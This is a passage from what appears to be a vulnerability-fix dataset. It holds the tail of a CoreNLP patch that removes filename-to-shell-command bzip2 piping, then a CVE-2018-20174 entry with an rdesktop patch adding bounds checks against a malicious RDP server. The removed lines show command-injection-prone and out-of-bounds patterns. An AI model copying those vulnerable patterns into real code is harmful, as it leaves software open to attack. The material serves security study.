+ * - Output file is automatically gzipped/b2zipped if ending in gz
  * - Currently exports features in a format that can be read by a modified crfsgd
  *   (crfsgd assumes features are gzipped)
  * TODO: Support other formats (like crfsuite)
diff --git a/src/edu/stanford/nlp/io/BZip2PipedOutputStream.java b/src/edu/stanford/nlp/io/BZip2PipedOutputStream.java
deleted file mode 100644
index 5f83e9876b..0000000000
--- a/src/edu/stanford/nlp/io/BZip2PipedOutputStream.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package edu.stanford.nlp.io; 
-import edu.stanford.nlp.util.logging.Redwood;
-
-import edu.stanford.nlp.util.ByteStreamGobbler;
-import edu.stanford.nlp.util.RuntimeInterruptedException;
-import edu.stanford.nlp.util.StreamGobbler;
-
-import java.io.*;
-
-/**
-* Opens a outputstream for writing into a bzip2 file by piping into the bzip2 command.
-* Output from bzip2 command is written into the specified file.
-* 
-* @author Angel Chang
-*/
-public class BZip2PipedOutputStream extends OutputStream
-{
-  private String filename;
-  private Process process;
-  private ByteStreamGobbler outGobbler;
-  private StreamGobbler errGobbler;
-  private PrintWriter errWriter;
-
-  public BZip2PipedOutputStream(String filename) throws IOException {
-    this(filename, System.err);
-  }
-
-  public BZip2PipedOutputStream(String filename, OutputStream err) throws IOException {
-    String bzip2 = System.getProperty("bzip2", "bzip2");
-    String cmd = bzip2; // + " > " + filename;
-    //log.info("getBZip2PipedOutputStream: Running command: "+cmd);
-    ProcessBuilder pb = new ProcessBuilder();
-    pb.command(cmd);
-    this.process = pb.start();
-    this.filename = filename;
-    OutputStream outStream = new FileOutputStream(filename);
-    errWriter = new PrintWriter(new BufferedWriter(new OutputStreamWriter(err)));
-    outGobbler = new ByteStreamGobbler("Output stream gobbler: " + cmd + " " + filename,
-            process.getInputStream(), outStream);
-    errGobbler = new StreamGobbler(process.getErrorStream(), errWriter);
-    outGobbler.start();
-    errGobbler.start();
-  }
-
-  public void flush() throws IOException
-  {
-    process.getOutputStream().flush();
-  }
-
-  public void write(int b) throws IOException
-  {
-    process.getOutputStream().write(b);
-  }
-
-  public void close() throws IOException
-  {
-    process.getOutputStream().close();
-    try {
-      outGobbler.join();
-      errGobbler.join();
-      outGobbler.getOutputStream().close();
-      process.waitFor();
-    } catch (InterruptedException ex) {
-      throw new RuntimeInterruptedException(ex);
-    }
-    //log.info("getBZip2PipedOutputStream: Closed. ");
-  }
-}
diff --git a/src/edu/stanford/nlp/io/IOUtils.java b/src/edu/stanford/nlp/io/IOUtils.java
index f121ecd169..578a28ddf2 100644
--- a/src/edu/stanford/nlp/io/IOUtils.java
+++ b/src/edu/stanford/nlp/io/IOUtils.java
@@ -1488,7 +1488,7 @@ public static LinkedList<String[]> readCSVStrictly(String filename, int numColum
   }
 
   /**
-   * Get a input file stream (automatically gunzip/bunzip2 depending on file extension)
+   * Get a input file stream (automatically gunzip depending on file extension)
    * @param filename Name of file to open
    * @return Input stream that can be used to read from the file
    * @throws IOException if there are exceptions opening the file
@@ -1497,15 +1497,12 @@ public static InputStream getFileInputStream(String filename) throws IOException
     InputStream in = new FileInputStream(filename);
     if (filename.endsWith(".gz")) {
       in = new GZIPInputStream(in);
-    } else if (filename.endsWith(".bz2")) {
-      //in = new CBZip2InputStream(in);
-      in = getBZip2PipedInputStream(filename);
     }
     return in;
   }
 
   /**
-   * Get a output file stream (automatically gzip/bzip2 depending on file extension)
+   * Get a output file stream (automatically gzip depending on file extension)
    * @param filename Name of file to open
    * @return Output stream that can be used to write to the file
    * @throws IOException if there are exceptions opening the file
@@ -1514,9 +1511,6 @@ public static OutputStream getFileOutputStream(String filename) throws IOExcepti
     OutputStream out = new FileOutputStream(filename);
     if (filename.endsWith(".gz")) {
       out = new GZIPOutputStream(out);
-    } else if (filename.endsWith(".bz2")) {
-      //out = new CBZip2OutputStream(out);
-      out = getBZip2PipedOutputStream(filename);
     }
     return out;
   }
@@ -1525,9 +1519,6 @@ public static OutputStream getFileOutputStream(String filename, boolean append)
     OutputStream out = new FileOutputStream(filename, append);
     if (filename.endsWith(".gz")) {
       out = new GZIPOutputStream(out);
-    } else if (filename.endsWith(".bz2")) {
-      //out = new CBZip2OutputStream(out);
-      out = getBZip2PipedOutputStream(filename);
     }
     return out;
   }
@@ -1584,22 +1575,6 @@ public static PrintWriter getPrintWriter(String filename, String encoding) throw
     return new PrintWriter(new BufferedWriter(new OutputStreamWriter(out, encoding)), true);
   }
 
-  public static InputStream getBZip2PipedInputStream(String filename) throws IOException {
-    String bzcat = System.getProperty("bzcat", "bzcat");
-    Runtime rt = Runtime.getRuntime();
-    String cmd = bzcat + " " + filename;
-    //log.info("getBZip2PipedInputStream: Running command: "+cmd);
-    Process p = rt.exec(cmd);
-    Writer errWriter = new BufferedWriter(new OutputStreamWriter(System.err));
-    StreamGobbler errGobbler = new StreamGobbler(p.getErrorStream(), errWriter);
-    errGobbler.start();
-    return p.getInputStream();
-  }
-
-  public static OutputStream getBZip2PipedOutputStream(String filename) throws IOException {
-    return new BZip2PipedOutputStream(filename);
-  }
-
   private static final Pattern tab = Pattern.compile("\t");
 
   /**", "url": "https://github.com/stanfordnlp/CoreNLP/commit/897231bed0efb24574c80c875c0b5f2225c145bc.patch" } ]
null
CVE-2018-20174
rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in the function ui_clip_handle_data() that results in an information leak.
[ { "commit_message": "[PATCH] Malicious RDP server security fixes This commit includes fixes for a set of 21 vulnerabilities in rdesktop when a malicious RDP server is used. All vulnerabilities was identified and reported by Eyal Itkin. * Add rdp_protocol_error function that is used in several fixes * Refactor of process_bitmap_updates * Fix possible integer overflow in s_check_rem() on 32bit arch * Fix memory corruption in process_bitmap_data - CVE-2018-8794 * Fix remote code execution in process_bitmap_data - CVE-2018-8795 * Fix remote code execution in process_plane - CVE-2018-8797 * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175 * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175 * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176 * Fix Denial of Service in sec_recv - CVE-2018-20176 * Fix minor information leak in rdpdr_process - CVE-2018-8791 * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792 * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793 * Fix Denial of Service in process_bitmap_data - CVE-2018-8796 * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798 * Fix Denial of Service in process_secondary_order - CVE-2018-8799 * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800 * Fix major information leak in ui_clip_handle_data - CVE-2018-20174 * Fix memory corruption in rdp_in_unistr - CVE-2018-20177 * Fix Denial of Service in process_demand_active - CVE-2018-20178 * Fix remote code execution in lspci_process - CVE-2018-20179 * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180 * Fix remote code execution in seamless_process - CVE-2018-20181 * Fix remote code execution in seamless_process_line - CVE-2018-20182 asn.c | 2 +- bitmap.c | 8 +-- cliprdr.c | 6 ++ constants.h | 3 + cssp.c | 17 ++++- lspci.c | 9 ++- mcs.c | 20 +++++- orders.c | 6 ++ proto.h | 3 +- rdp.c | 192 ++++++++++++++++++++++++++++++++++++---------------- rdpdr.c | 11 +++ rdpsnd.c | 11 +++ seamless.c | 12 ++++ secure.c | 17 +++++ stream.h | 2 +- types.h | 2 + 16 files changed, 250 insertions(+), 71 deletions(-)", "patch_text_b64": "From 4dca546d04321a610c1835010b5dad85163b65e1 Mon Sep 17 00:00:00 2001
From: Henrik Andersson <hean01@cendio.com>
Date: Wed, 16 Jan 2019 10:45:33 +0100
Subject: [PATCH] Malicious RDP server security fixes

This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.

All vulnerabilities was identified and reported by Eyal Itkin.

 * Add rdp_protocol_error function that is used in several fixes
 * Refactor of process_bitmap_updates
 * Fix possible integer overflow in s_check_rem() on 32bit arch
 * Fix memory corruption in process_bitmap_data - CVE-2018-8794
 * Fix remote code execution in process_bitmap_data - CVE-2018-8795
 * Fix remote code execution in process_plane - CVE-2018-8797
 * Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
 * Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
 * Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
 * Fix Denial of Service in sec_recv - CVE-2018-20176
 * Fix minor information leak in rdpdr_process - CVE-2018-8791
 * Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
 * Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
 * Fix Denial of Service in process_bitmap_data - CVE-2018-8796
 * Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
 * Fix Denial of Service in process_secondary_order - CVE-2018-8799
 * Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
 * Fix major information leak in ui_clip_handle_data - CVE-2018-20174
 * Fix memory corruption in rdp_in_unistr - CVE-2018-20177
 * Fix Denial of Service in process_demand_active - CVE-2018-20178
 * Fix remote code execution in lspci_process - CVE-2018-20179
 * Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
 * Fix remote code execution in seamless_process - CVE-2018-20181
 * Fix remote code execution in seamless_process_line - CVE-2018-20182
---
 asn.c       |   2 +-
 bitmap.c    |   8 +--
 cliprdr.c   |   6 ++
 constants.h |   3 +
 cssp.c      |  17 ++++-
 lspci.c     |   9 ++-
 mcs.c       |  20 +++++-
 orders.c    |   6 ++
 proto.h     |   3 +-
 rdp.c       | 192 ++++++++++++++++++++++++++++++++++++----------------
 rdpdr.c     |  11 +++
 rdpsnd.c    |  11 +++
 seamless.c  |  12 ++++
 secure.c    |  17 +++++
 stream.h    |   2 +-
 types.h     |   2 +
 16 files changed, 250 insertions(+), 71 deletions(-)

diff --git a/asn.c b/asn.c
index 26b0e9b4..1b9fea4c 100644
--- a/asn.c
+++ b/asn.c
@@ -22,7 +22,7 @@
 
 /* Parse an ASN.1 BER header */
 RD_BOOL
-ber_parse_header(STREAM s, int tagval, int *length)
+ber_parse_header(STREAM s, int tagval, uint32 *length)
 {
 	int tag, len;
 
diff --git a/bitmap.c b/bitmap.c
index 775622cc..55c768c1 100644
--- a/bitmap.c
+++ b/bitmap.c
@@ -794,7 +794,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)
 					replen = revcode;
 					collen = 0;
 				}
-				while (collen > 0)
+				while (indexw < width && collen > 0)
 				{
 					color = CVAL(in);
 					*out = color;
@@ -802,7 +802,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)
 					indexw++;
 					collen--;
 				}
-				while (replen > 0)
+				while (indexw < width && replen > 0)
 				{
 					*out = color;
 					out += 4;
@@ -824,7 +824,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)
 					replen = revcode;
 					collen = 0;
 				}
-				while (collen > 0)
+				while (indexw < width && collen > 0)
 				{
 					x = CVAL(in);
 					if (x & 1)
@@ -844,7 +844,7 @@ process_plane(uint8 * in, int width, int height, uint8 * out, int size)
 					indexw++;
 					collen--;
 				}
-				while (replen > 0)
+				while (indexw < width && replen > 0)
 				{
 					x = last_line[indexw * 4] + color;
 					*out = x;
diff --git a/cliprdr.c b/cliprdr.c
index 3f68213b..76eb98d0 100644
--- a/cliprdr.c
+++ b/cliprdr.c
@@ -118,6 +118,7 @@ cliprdr_process(STREAM s)
 	uint16 type, status;
 	uint32 length, format;
 	uint8 *data;
+	struct stream packet = *s;
 
 	in_uint16_le(s, type);
 	in_uint16_le(s, status);
@@ -127,6 +128,11 @@ cliprdr_process(STREAM s)
 	logger(Clipboard, Debug, "cliprdr_process(), type=%d, status=%d, length=%d", type, status,
 	       length);
 
+	if (!s_check_rem(s, length))
+	{
+		rdp_protocol_error("cliprdr_process(), consume of packet from stream would overrun", &packet);
+	}
+
 	if (status == CLIPRDR_ERROR)
 	{
 		switch (type)
diff --git a/constants.h b/constants.h
index 7dfc2e3d..63015029 100644
--- a/constants.h
+++ b/constants.h
@@ -751,6 +751,9 @@ enum RDP_DESKTOP_ORIENTATION
 #define ENC_SALTED_CHECKSUM		0x0010
 #define NO_BITMAP_COMPRESSION_HDR	0x0400
 
+/* [MS-RDPBCGR], TS_BITMAP_DATA, flags */
+#define BITMAP_COMPRESSION              0x0001
+
 /* orderFlags, [MS-RDPBCGR] 2.2.7.1.3 */
 #define NEGOTIATEORDERSUPPORT	0x0002
 #define ZEROBOUNDSDELTASSUPPORT 0x0008
diff --git a/cssp.c b/cssp.c
index 33544c3b..6b2d0f70 100644
--- a/cssp.c
+++ b/cssp.c
@@ -595,6 +595,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)
 	STREAM s;
 	int length;
 	int tagval;
+	struct stream packet;
 
 	s = tcp_recv(NULL, 4);
 
@@ -622,6 +623,7 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)
 
 	// receive the remainings of message
 	s = tcp_recv(s, length);
+	packet = *s;
 
 	// parse the response and into nego token
 	if (!ber_in_header(s, &tagval, &length) ||
@@ -632,6 +634,12 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)
 	if (!ber_in_header(s, &tagval, &length) ||
 	    tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 0))
 		return False;
+
+	if (!s_check_rem(s, length))
+	{
+		 rdp_protocol_error("cssp_read_tsrequest(), consume of version from stream would overrun",
+				    &packet);
+	}
 	in_uint8s(s, length);
 
 	// negoToken [1]
@@ -653,7 +661,14 @@ cssp_read_tsrequest(STREAM token, STREAM pubkey)
 		if (!ber_in_header(s, &tagval, &length) || tagval != BER_TAG_OCTET_STRING)
 			return False;
 
-		token->end = token->p = token->data;
+		if (!s_check_rem(s, length))
+		{
+			rdp_protocol_error("cssp_read_tsrequest(), consume of token from stream would overrun",
+					   &packet);
+		}
+
+		s_realloc(token, length);
+		s_reset(token);
 		out_uint8p(token, s->p, length);
 		s_mark_end(token);
 	}
diff --git a/lspci.c b/lspci.c
index c4c8ce63..2d17161c 100644
--- a/lspci.c
+++ b/lspci.c
@@ -1,7 +1,8 @@
 /*  -*- c-basic-offset: 8 -*-
    rdesktop: A Remote Desktop Protocol client.
    Support for the Matrox "lspci" channel
-   Copyright (C) 2005 Matrox Graphics Inc. 
+   Copyright (C) 2005 Matrox Graphics Inc.
+   Copyright 2018 Henrik Andersson <hean01@cendio.se> for Cendio AB
 
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
@@ -134,6 +135,12 @@ lspci_process(STREAM s)
 	unsigned int pkglen;
 	static char *rest = NULL;
 	char *buf;
+	struct stream packet = *s;
+
+	if (!s_check(s))
+	{
+		rdp_protocol_error("lspci_process(), stream is in unstable state", &packet);
+	}
 
 	pkglen = s->end - s->p;
 	/* str_handle_lines requires null terminated strings */
diff --git a/mcs.c b/mcs.c
index 10b73a14..0f2360e8 100644
--- a/mcs.c
+++ b/mcs.c
@@ -45,9 +45,16 @@ mcs_out_domain_params(STREAM s, int max_channels, int max_users, int max_tokens,
 static RD_BOOL
 mcs_parse_domain_params(STREAM s)
 {
-	int length;
+	uint32 length;
+	struct stream packet = *s;
 
 	ber_parse_header(s, MCS_TAG_DOMAIN_PARAMS, &length);
+
+	if (!s_check_rem(s, length))
+	{
+		rdp_protocol_error("mcs_parse_domain_params(), consume domain params from stream would overrun", &packet);
+	}
+
 	in_uint8s(s, length);
 
 	return s_check(s);
@@ -89,8 +96,9 @@ mcs_recv_connect_response(STREAM mcs_data)
 {
 	UNUSED(mcs_data);
 	uint8 result;
-	int length;
+	uint32 length;
 	STREAM s;
+	struct stream packet;
 	RD_BOOL is_fastpath;
 	uint8 fastpath_hdr;
 
@@ -99,6 +107,8 @@ mcs_recv_connect_response(STREAM mcs_data)
 
 	if (s == NULL)
 		return False;
+	
+	packet = *s;
 
 	ber_parse_header(s, MCS_CONNECT_RESPONSE, &length);
 
@@ -112,6 +122,12 @@ mcs_recv_connect_response(STREAM mcs_data)
 
 	ber_parse_header(s, BER_TAG_INTEGER, &length);
 	in_uint8s(s, length);	/* connect id */
+
+	if (!s_check_rem(s, length))
+	{
+		rdp_protocol_error("mcs_recv_connect_response(), consume connect id from stream would overrun", &packet);
+	}
+
 	mcs_parse_domain_params(s);
 
 	ber_parse_header(s, BER_TAG_OCTET_STRING, &length);
diff --git a/orders.c b/orders.c
index ba9cfa1a..5e34770b 100644
--- a/orders.c
+++ b/orders.c
@@ -1259,11 +1259,17 @@ process_secondary_order(STREAM s)
 	uint16 flags;
 	uint8 type;
 	uint8 *next_order;
+	struct stream packet = *s;
 
 	in_uint16_le(s, length);
 	in_uint16_le(s, flags);	/* used by bmpcache2 */
 	in_uint8(s, type);
 
+	if (!s_check_rem(s, length + 7))
+	{
+		rdp_protocol_error("process_secondary_order(), next order pointer would overrun stream", &packet);
+	}
+
 	next_order = s->p + (sint16) length + 7;
 
 	switch (type)
diff --git a/proto.h b/proto.h
index 73449dde..0d6a6c98 100644
--- a/proto.h
+++ b/proto.h
@@ -164,6 +164,7 @@ RD_BOOL rdp_connect(char *server, uint32 flags, char *domain, char *password, ch
 		    char *directory, RD_BOOL reconnect);
 void rdp_reset_state(void);
 void rdp_disconnect(void);
+void rdp_protocol_error(const char *message, STREAM s);
 /* rdpdr.c */
 int get_device_index(RD_NTHANDLE handle);
 void convert_to_unix_filename(char *filename);
@@ -224,7 +225,7 @@ void tcp_run_ui(RD_BOOL run);
 /* asn.c */
 RD_BOOL ber_in_header(STREAM s, int *tagval, int *length);
 void ber_out_header(STREAM s, int tagval, int length);
-RD_BOOL ber_parse_header(STREAM s, int tagval, int *length);
+RD_BOOL ber_parse_header(STREAM s, int tagval, uint32 *length);
 void ber_out_integer(STREAM s, int value);
 void ber_out_sequence(STREAM s, STREAM contents);
 
diff --git a/rdp.c b/rdp.c
index f98f49cb..1654e581 100644
--- a/rdp.c
+++ b/rdp.c
@@ -285,6 +285,19 @@ rdp_in_unistr(STREAM s, int in_len, char **string, uint32 * str_size)
 	size_t ibl, obl;
 	char *pin, *pout;
 
+	struct stream packet = *s;
+
+	if ((in_len < 0) || ((uint32)in_len >= (RD_UINT32_MAX / 2)))
+	{
+		logger(Protocol, Error, "rdp_in_unistr(), length of unicode data is out of bounds.");
+		abort();
+	}
+
+	if (!s_check_rem(s, in_len))
+	{
+		rdp_protocol_error("rdp_in_unistr(), consume of unicode data from stream would overrun", &packet);
+	}
+
 	// if not already open
 	if (!icv_utf16_to_local)
 	{
@@ -1211,6 +1224,7 @@ process_demand_active(STREAM s)
 {
 	uint8 type;
 	uint16 len_src_descriptor, len_combined_caps;
+	struct stream packet = *s;
 
 	/* at this point we need to ensure that we have ui created */
 	rd_create_ui();
@@ -1218,6 +1232,11 @@ process_demand_active(STREAM s)
 	in_uint32_le(s, g_rdp_shareid);
 	in_uint16_le(s, len_src_descriptor);
 	in_uint16_le(s, len_combined_caps);
+
+	if (!s_check_rem(s, len_src_descriptor))
+	{
+		rdp_protocol_error("rdp_demand_active(), consume of source descriptor from stream would overrun", &packet);
+	}
 	in_uint8s(s, len_src_descriptor);
 
 	logger(Protocol, Debug, "process_demand_active(), shareid=0x%x", g_rdp_shareid);
@@ -1390,78 +1409,113 @@ process_pointer_pdu(STREAM s)
 	}
 }
 
-/* Process bitmap updates */
-void
-process_bitmap_updates(STREAM s)
+/* Process TS_BITMAP_DATA */
+static void
+process_bitmap_data(STREAM s)
 {
-	uint16 num_updates;
 	uint16 left, top, right, bottom, width, height;
-	uint16 cx, cy, bpp, Bpp, compress, bufsize, size;
+	uint16 cx, cy, bpp, Bpp, flags, bufsize, size;
 	uint8 *data, *bmpdata;
-	int i;
-
+	
 	logger(Protocol, Debug, "%s()", __func__);
 
-	in_uint16_le(s, num_updates);
+	struct stream packet = *s;
 
-	for (i = 0; i < num_updates; i++)
-	{
-		in_uint16_le(s, left);
-		in_uint16_le(s, top);
-		in_uint16_le(s, right);
-		in_uint16_le(s, bottom);
-		in_uint16_le(s, width);
-		in_uint16_le(s, height);
-		in_uint16_le(s, bpp);
-		Bpp = (bpp + 7) / 8;
-		in_uint16_le(s, compress);
-		in_uint16_le(s, bufsize);
-
-		cx = right - left + 1;
-		cy = bottom - top + 1;
-
-		logger(Graphics, Debug,
-		       "process_bitmap_updates(), [%d,%d,%d,%d], [%d,%d], bpp=%d, compression=%d",
-		       left, top, right, bottom, width, height, Bpp, compress);
-
-		if (!compress)
-		{
-			int y;
-			bmpdata = (uint8 *) xmalloc(width * height * Bpp);
-			for (y = 0; y < height; y++)
-			{
-				in_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)],
-					  width * Bpp);
-			}
-			ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);
-			xfree(bmpdata);
-			continue;
-		}
+	in_uint16_le(s, left); /* destLeft */
+	in_uint16_le(s, top); /* destTop */
+	in_uint16_le(s, right); /* destRight */
+	in_uint16_le(s, bottom); /* destBottom */
+	in_uint16_le(s, width); /* width */
+	in_uint16_le(s, height); /* height */
+	in_uint16_le(s, bpp); /*bitsPerPixel */
+	Bpp = (bpp + 7) / 8;
+	in_uint16_le(s, flags); /* flags */
+	in_uint16_le(s, bufsize); /* bitmapLength */
 
+	cx = right - left + 1;
+	cy = bottom - top + 1;
 
-		if (compress & 0x400)
-		{
-			size = bufsize;
-		}
-		else
-		{
-			in_uint8s(s, 2);	/* pad */
-			in_uint16_le(s, size);
-			in_uint8s(s, 4);	/* line_size, final_size */
-		}
-		in_uint8p(s, data, size);
+	/* FIXME: There are a assumtion that we do not consider in
+		this code. The value of bpp is not passed to
+		ui_paint_bitmap() which relies on g_server_bpp for drawing
+		the bitmap data.
+
+		Does this means that we can sanity check bpp with g_server_bpp ?
+	*/
+
+	if (Bpp == 0 || width == 0 || height == 0)
+	{
+        logger(Protocol, Warning, "%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x", __func__,
+				left, top, right, bottom, width, height, bpp, flags);
+		rdp_protocol_error("TS_BITMAP_DATA, unsafe size of bitmap data received from server", &packet);
+	}
+
+	if ((RD_UINT32_MAX / Bpp) <= (width * height))
+	{
+		logger(Protocol, Warning, "%s(), [%d,%d,%d,%d], [%d,%d], bpp=%d, flags=%x", __func__,
+				left, top, right, bottom, width, height, bpp, flags);
+		rdp_protocol_error("TS_BITMAP_DATA, unsafe size of bitmap data received from server", &packet);
+	}
+ 
+	if (flags == 0)
+	{
+		/* read uncompressed bitmap data */
+		int y;
 		bmpdata = (uint8 *) xmalloc(width * height * Bpp);
-		if (bitmap_decompress(bmpdata, width, height, data, size, Bpp))
+		for (y = 0; y < height; y++)
 		{
-			ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);
+			in_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)], width * Bpp);
 		}
-		else
-		{
-			logger(Graphics, Warning,
-			       "process_bitmap_updates(), failed to decompress bitmap");
-		}
-
+		
+		ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);
 		xfree(bmpdata);
+		return;
+	}
+
+	if (flags & NO_BITMAP_COMPRESSION_HDR)
+	{
+		size = bufsize;
+	}
+	else
+	{
+		/* Read TS_CD_HEADER */
+		in_uint8s(s, 2);        /* skip cbCompFirstRowSize (must be 0x0000) */
+		in_uint16_le(s, size);  /* cbCompMainBodySize */
+		in_uint8s(s, 2);        /* skip cbScanWidth */
+		in_uint8s(s, 2);        /* skip cbUncompressedSize */
+	}
+
+	/* read compressed bitmap data */
+	if (!s_check_rem(s, size))
+	{
+		rdp_protocol_error("process_bitmap_data(), consume of bitmap data from stream would overrun", &packet);
+	}
+	in_uint8p(s, data, size);
+	bmpdata = (uint8 *) xmalloc(width * height * Bpp);
+	if (bitmap_decompress(bmpdata, width, height, data, size, Bpp))
+	{
+		ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);
+	}
+	else
+	{
+		logger(Protocol, Warning, "%s(), failed to decompress bitmap", __func__);
+	}
+
+	xfree(bmpdata);
+}
+
+/* Process TS_UPDATE_BITMAP_DATA */
+void
+process_bitmap_updates(STREAM s)
+{
+	int i;
+	uint16 num_updates;
+	
+	in_uint16_le(s, num_updates);   /* rectangles */
+
+	for (i = 0; i < num_updates; i++)
+	{
+		process_bitmap_data(s);
 	}
 }
 
@@ -2013,3 +2067,21 @@ rdp_disconnect(void)
 	logger(Protocol, Debug, "%s()", __func__);
 	sec_disconnect();
 }
+
+/* Abort rdesktop upon protocol error
+
+   A protocol error is defined as:
+
+    - A value is outside specified range for example;
+      bpp for a bitmap is not allowed to be greater than the
+      value 32 but is represented by a byte in protocol.
+
+*/
+void
+rdp_protocol_error(const char *message, STREAM s)
+{
+	logger(Protocol, Error, "%s(), %s", __func__, message);
+	if (s)
+		hexdump(s->p, s_length(s));
+	exit(0);
+}
diff --git a/rdpdr.c b/rdpdr.c
index e8f54316..0abcacd8 100644
--- a/rdpdr.c
+++ b/rdpdr.c
@@ -854,6 +854,7 @@ rdpdr_process(STREAM s)
 	uint16 vmin;
 	uint16 component;
 	uint16 pakid;
+	struct stream packet = *s;
 
 	logger(Protocol, Debug, "rdpdr_process()");
 	/* hexdump(s->p, s->end - s->p); */
@@ -873,8 +874,18 @@ rdpdr_process(STREAM s)
 				/* DR_CORE_SERVER_ANNOUNCE_REQ */
 				in_uint8s(s, 2);	/* skip versionMajor */
 				in_uint16_le(s, vmin);	/* VersionMinor */
+
 				in_uint32_le(s, g_client_id);	/* ClientID */
 
+				/* g_client_id is sent back to server,
+				   so lets check that we actually got
+				   valid data from stream to prevent
+				   that we leak back data to server */
+				if (!s_check(s))
+				{
+					rdp_protocol_error("rdpdr_process(), consume of g_client_id from stream did overrun", &packet);
+				}
+
 				/* The RDP client is responsibility to provide a random client id
 				   if server version is < 12 */
 				if (vmin < 0x000c)
diff --git a/rdpsnd.c b/rdpsnd.c
index 71a3bf25..40881b76 100644
--- a/rdpsnd.c
+++ b/rdpsnd.c
@@ -269,6 +269,12 @@ rdpsnd_process_training(STREAM in)
 	uint16 tick;
 	uint16 packsize;
 	STREAM out;
+	struct stream packet = *in;
+
+	if (!s_check_rem(in, 4))
+	{
+		rdp_protocol_error("rdpsnd_process_training(), consume of training data from stream would overrun", &packet);
+	}
 
 	in_uint16_le(in, tick);
 	in_uint16_le(in, packsize);
@@ -445,6 +451,11 @@ rdpsnddbg_process(STREAM s)
 	static char *rest = NULL;
 	char *buf;
 
+	if (!s_check(s))
+	{
+		rdp_protocol_error("rdpsnddbg_process(), stream is in unstable state", s);
+	}
+
 	pkglen = s->end - s->p;
 	/* str_handle_lines requires null terminated strings */
 	buf = (char *) xmalloc(pkglen + 1);
diff --git a/seamless.c b/seamless.c
index 8fde8ddd..1935074f 100644
--- a/seamless.c
+++ b/seamless.c
@@ -168,6 +168,12 @@ seamless_process_line(const char *line, void *data)
 
 			icon_buf[len] = strtol(byte, NULL, 16);
 			len++;
+
+			if ((size_t)len >= sizeof(icon_buf))
+			{
+				logger(Protocol, Warning, "seamless_process_line(), icon data would overrun icon_buf");
+				break;
+			}
 		}
 
 		ui_seamless_seticon(id, tok5, width, height, chunk, icon_buf, len);
@@ -370,6 +376,12 @@ seamless_process(STREAM s)
 {
 	unsigned int pkglen;
 	char *buf;
+	struct stream packet = *s;
+
+	if (!s_check(s))
+	{
+		rdp_protocol_error("seamless_process(), stream is in unstable state", &packet);
+	}
 
 	pkglen = s->end - s->p;
 	/* str_handle_lines requires null terminated strings */
diff --git a/secure.c b/secure.c
index 48d9d010..f548a4ff 100644
--- a/secure.c
+++ b/secure.c
@@ -296,6 +296,9 @@ sec_encrypt(uint8 * data, int length)
 void
 sec_decrypt(uint8 * data, int length)
 {
+	if (length <= 0)
+		return;
+
 	if (g_sec_decrypt_use_count == 4096)
 	{
 		sec_update(g_sec_decrypt_key, g_sec_decrypt_update_key);
@@ -848,9 +851,11 @@ sec_recv(RD_BOOL * is_fastpath)
 	uint16 sec_flags;
 	uint16 channel;
 	STREAM s;
+	struct stream packet;
 
 	while ((s = mcs_recv(&channel, is_fastpath, &fastpath_hdr)) != NULL)
 	{
+		packet = *s;
 		if (*is_fastpath == True)
 		{
 			/* If fastpath packet is encrypted, read data
@@ -859,6 +864,10 @@ sec_recv(RD_BOOL * is_fastpath)
 			fastpath_flags = (fastpath_hdr & 0xC0) >> 6;
 			if (fastpath_flags & FASTPATH_OUTPUT_ENCRYPTED)
 			{
+				if (!s_check_rem(s, 8)) {
+					rdp_protocol_error("sec_recv(), consume fastpath signature from stream would overrun", &packet);
+				}
+
 				in_uint8s(s, 8);	/* signature */
 				sec_decrypt(s->p, s->end - s->p);
 			}
@@ -875,6 +884,10 @@ sec_recv(RD_BOOL * is_fastpath)
 			{
 				if (sec_flags & SEC_ENCRYPT)
 				{
+					if (!s_check_rem(s, 8)) {
+						rdp_protocol_error("sec_recv(), consume encrypt signature from stream would overrun", &packet);
+					}
+
 					in_uint8s(s, 8);	/* signature */
 					sec_decrypt(s->p, s->end - s->p);
 				}
@@ -889,6 +902,10 @@ sec_recv(RD_BOOL * is_fastpath)
 				{
 					uint8 swapbyte;
 
+					if (!s_check_rem(s, 8)) {
+						rdp_protocol_error("sec_recv(), consume redirect signature from stream would overrun", &packet);
+					}
+
 					in_uint8s(s, 8);	/* signature */
 					sec_decrypt(s->p, s->end - s->p);
 
diff --git a/stream.h b/stream.h
index ccc125db..a9196e5f 100644
--- a/stream.h
+++ b/stream.h
@@ -54,7 +54,7 @@ size_t in_ansi_string(STREAM s, char *string, size_t len);
 #define s_pop_layer(s,h)	(s)->p = (s)->h;
 #define s_mark_end(s)		(s)->end = (s)->p;
 #define s_check(s)		((s)->p <= (s)->end)
-#define s_check_rem(s,n)	((s)->p + n <= (s)->end)
+#define s_check_rem(s,n) (s_check(s) && (n <= (s)->end - (s)->p))
